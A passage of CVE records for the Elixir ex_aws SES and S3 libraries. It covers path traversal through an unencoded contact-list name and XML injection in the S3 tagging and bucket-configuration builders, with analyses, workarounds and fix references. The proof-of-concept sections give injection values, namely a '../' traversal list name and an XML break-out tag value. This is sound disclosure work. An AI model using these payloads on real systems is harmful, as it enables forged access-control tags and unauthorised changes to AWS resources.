"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRestrict \u003ccode\u003elist_name\u003c/code\u003e to Amazon SES\u0027s permitted contact-list character set, or run it through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, before passing it to the affected functions.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Restrict `list_name` to Amazon SES\u0027s permitted contact-list character set, or run it through `ExAws.Request.Url.uri_encode/1`, before passing it to the affected functions."
}
],
"value": "Restrict list_name to Amazon SES\u0027s permitted contact-list character set, or run it through ExAws.Request.Url.uri_encode/1, before passing it to the affected functions."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application takes a contact-list name from untrusted input and calls \u003ccode\u003eExAws.SES.delete_contact_list(list_name) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies \u003ccode\u003ex/../suppression/addresses/victim@example.com\u003c/code\u003e (with the \u003ccode\u003e@\u003c/code\u003e percent-encoded) as the list name.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_contact_list/1\u003c/code\u003e interpolates it unencoded, so the signed request is \u003ccode\u003eDELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eOnce the \u003ccode\u003e..\u003c/code\u003e is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application takes a contact-list name from untrusted input and calls `ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request()`.\n2. The attacker supplies `x/../suppression/addresses/victim@example.com` (with the `@` percent-encoded) as the list name.\n3. `delete_contact_list/1` interpolates it unencoded, so the signed request is `DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`.\n4. Once the `..` is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
}
],
"value": "* An application takes a contact-list name from untrusted input and calls ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request().\n* The attacker supplies x/../suppression/addresses/victim@example.com (with the @ percent-encoded) as the list name.\n* delete_contact_list/1 interpolates it unencoded, so the signed request is DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com.\n* Once the .. is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Raw interpolation.\u003c/strong\u003e Every V2 contact-list and contact function in \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e builds its resource string by interpolating \u003ccode\u003elist_name\u003c/code\u003e as given, for example \u003ccode\u003erequest_v2(:delete, \"contact-lists/#{list_name}\")\u003c/code\u003e in \u003ccode\u003edelete_contact_list/1\u003c/code\u003e. \u003ccode\u003erequest_v2/2\u003c/code\u003e then appends it to the operation path as \u003ccode\u003e@v2_path \u0026lt;\u0026gt; \"/#{resource}\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Inconsistent encoding.\u003c/strong\u003e The same functions pass the email address through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, but \u003ccode\u003elist_name\u003c/code\u003e is neither encoded nor validated. \u003ccode\u003euri_encode/1\u003c/code\u003e itself leaves \u003ccode\u003e/\u003c/code\u003e unencoded, so an email address containing \u003ccode\u003e/\u003c/code\u003e can add path segments as well.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Segment escape.\u003c/strong\u003e A list name such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e produces \u003ccode\u003e/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e, which normalizes to the account\u0027s suppression list. Appending \u003ccode\u003e/contacts/\u0026lt;addr\u0026gt;\u003c/code\u003e turns a list-level operation into a contact operation, and a \u003ccode\u003e?\u003c/code\u003e can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Raw interpolation.** Every V2 contact-list and contact function in `lib/ex_aws/ses.ex` builds its resource string by interpolating `list_name` as given, for example `request_v2(:delete, \"contact-lists/#{list_name}\")` in `delete_contact_list/1`. `request_v2/2` then appends it to the operation path as `@v2_path \u003c\u003e \"/#{resource}\"`.\n\n**2. Inconsistent encoding.** The same functions pass the email address through `ExAws.Request.Url.uri_encode/1`, but `list_name` is neither encoded nor validated. `uri_encode/1` itself leaves `/` unencoded, so an email address containing `/` can add path segments as well.\n\n**3. Segment escape.** A list name such as `x/../suppression/addresses/victim%40example.com` produces `/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`, which normalizes to the account\u0027s suppression list. Appending `/contacts/\u003caddr\u003e` turns a list-level operation into a contact operation, and a `?` can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
}
],
"value": "1. Raw interpolation. Every V2 contact-list and contact function in lib/ex_aws/ses.ex builds its resource string by interpolating list_name as given, for example request_v2(:delete, \"contact-lists/#{list_name}\") in delete_contact_list/1. request_v2/2 then appends it to the operation path as @v2_path \u003c\u003e \"/#{resource}\".\n\n2. Inconsistent encoding. The same functions pass the email address through ExAws.Request.Url.uri_encode/1, but list_name is neither encoded nor validated. uri_encode/1 itself leaves / unencoded, so an email address containing / can add path segments as well.\n\n3. Segment escape. A list name such as x/../suppression/addresses/victim%40example.com produces /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com, which normalizes to the account\u0027s suppression list. Appending /contacts/\u003caddr\u003e turns a list-level operation into a contact operation, and a ? can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-65622",
"datePublished": "2026-11-24T14:21:01.869Z",
"dateReserved": "2026-07-22T13:55:59.401Z",
"dateUpdated": "2026-11-24T14:21:01.869Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62273 (GCVE-0-2026-62273)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.
ExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the <TagSet> request body by interpolating tag keys and values directly into <Key> and <Value> elements via to_string/1, without applying the module's existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen <Tag> entries. For example, a tag value of blue</Value></Tag><Tag><Key>owner</Key><Value>admin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.
This issue affects ex_aws_s3: from 2.0.2 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62273.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62273 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/c6331b… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "c6331b84c80f09d24d4a25cf05d8604541ce162e",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:58.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e request body by interpolating tag keys and values directly into \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e elements via \u003ccode\u003eto_string/1\u003c/code\u003e, without applying the module\u0027s existing \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper (which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e entries. For example, a tag value of \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag\u003c/code\u003e) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\n`ExAws.S3.put_object_tagging/4` and `ExAws.S3.put_bucket_tagging/2` in `lib/ex_aws/s3.ex` build the `\u003cTagSet\u003e` request body by interpolating tag keys and values directly into `\u003cKey\u003e` and `\u003cValue\u003e` elements via `to_string/1`, without applying the module\u0027s existing `escape_xml_string/1` helper (which `delete_multiple_objects` already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen `\u003cTag\u003e` entries. For example, a tag value of `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag`) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\nExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the \u003cTagSet\u003e request body by interpolating tag keys and values directly into \u003cKey\u003e and \u003cValue\u003e elements via to_string/1, without applying the module\u0027s existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003cTag\u003e entries. For example, a tag value of blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML injection vulnerability. It affects any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and passes user-influenced data as tag keys or values to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e. An attacker who controls part of a tag key or value can inject additional \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML injection vulnerability. It affects any application that uses `ex_aws_s3` and passes user-influenced data as tag keys or values to `put_object_tagging/4` or `put_bucket_tagging/2`. An attacker who controls part of a tag key or value can inject additional `\u003cTag\u003e` elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
}
],
"value": "This is an XML injection vulnerability. It affects any application that uses ex_aws_s3 and passes user-influenced data as tag keys or values to put_object_tagging/4 or put_bucket_tagging/2. An attacker who controls part of a tag key or value can inject additional \u003cTag\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:59.569Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-979q-5hj9-vvvv"
},
{
"name": "EEF CNA record for CVE-2026-62273",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62273.html"
},
{
"name": "OSV record EEF-CVE-2026-62273",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62273"
},
{
"name": "Introducing commit c6331b8 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/c6331b84c80f09d24d4a25cf05d8604541ce162e"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore passing user-influenced data to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e, validate and reject any tag key or value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e), or restrict tag keys and values to an allowlisted character set.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before passing user-influenced data to `put_object_tagging/4` or `put_bucket_tagging/2`, validate and reject any tag key or value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\"`, `\u0027`), or restrict tag keys and values to an allowlisted character set."
}
],
"value": "Before passing user-influenced data to put_object_tagging/4 or put_bucket_tagging/2, validate and reject any tag key or value containing XML metacharacters (\u003c, \u003e, \u0026, \", \u0027), or restrict tag keys and values to an allowlisted character set."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application forwards a user-supplied tag value: \u003ccode\u003eExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the value \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eput_object_tagging/4\u003c/code\u003e interpolates it into the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e body without escaping.\u003c/li\u003e\n\u003cli\u003eThe request body S3 receives contains two \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements: \u003ccode\u003ecustomer=blue\u003c/code\u003e and the forged \u003ccode\u003eowner=admin\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application forwards a user-supplied tag value: `ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request()`.\n2. The attacker supplies the value `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin`.\n3. `put_object_tagging/4` interpolates it into the `\u003cTagSet\u003e` body without escaping.\n4. The request body S3 receives contains two `\u003cTag\u003e` elements: `customer=blue` and the forged `owner=admin`."
}
],
"value": "* An application forwards a user-supplied tag value: ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request().\n* The attacker supplies the value blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin.\n* put_object_tagging/4 interpolates it into the \u003cTagSet\u003e body without escaping.\n* The request body S3 receives contains two \u003cTag\u003e elements: customer=blue and the forged owner=admin."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build each \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e element by placing \u003ccode\u003eto_string(key)\u003c/code\u003e and \u003ccode\u003eto_string(value)\u003c/code\u003e directly inside \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e. The module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper, which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already applies to object keys, is not used.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in a key or value are emitted verbatim. A value such as \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e closes the intended \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e and opens a new \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect in S3.\u003c/strong\u003e S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag/\u0026lt;key\u0026gt;\u003c/code\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** `ExAws.S3.put_bucket_tagging/2` and `ExAws.S3.put_object_tagging/4` in `lib/ex_aws/s3.ex` build each `\u003cTag\u003e` element by placing `to_string(key)` and `to_string(value)` directly inside `\u003cKey\u003e` and `\u003cValue\u003e`. The module\u0027s `escape_xml_string/1` helper, which `delete_multiple_objects` already applies to object keys, is not used.\n\n**2. Element break-out.** XML metacharacters in a key or value are emitted verbatim. A value such as `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` closes the intended `\u003cValue\u003e` and `\u003cTag\u003e` and opens a new `\u003cTag\u003e` of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n**3. Effect in S3.** S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag/\u003ckey\u003e`) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
}
],
"value": "1. Unescaped interpolation. ExAws.S3.put_bucket_tagging/2 and ExAws.S3.put_object_tagging/4 in lib/ex_aws/s3.ex build each \u003cTag\u003e element by placing to_string(key) and to_string(value) directly inside \u003cKey\u003e and \u003cValue\u003e. The module\u0027s escape_xml_string/1 helper, which delete_multiple_objects already applies to object keys, is not used.\n\n2. Element break-out. XML metacharacters in a key or value are emitted verbatim. A value such as blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin closes the intended \u003cValue\u003e and \u003cTag\u003e and opens a new \u003cTag\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n3. Effect in S3. S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag/\u003ckey\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62273",
"datePublished": "2026-11-24T14:15:59.569Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T14:15:59.569Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63581 (GCVE-0-2026-63581)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
ex_aws_s3 XML injection in bucket-configuration builders
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.
This vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2.
The bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module's own escape_xml_string/1 helper. A value containing XML metacharacters (<, >, &, quotes) can close the intended element early and open attacker-chosen elements, which the builder's trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2.
This issue affects ex_aws_s3: from 2.5.9 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63581.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63581 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/7d6f5c… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.5.9",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "7d6f5cde90aaea36f9a059de874d1420da20eef2",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
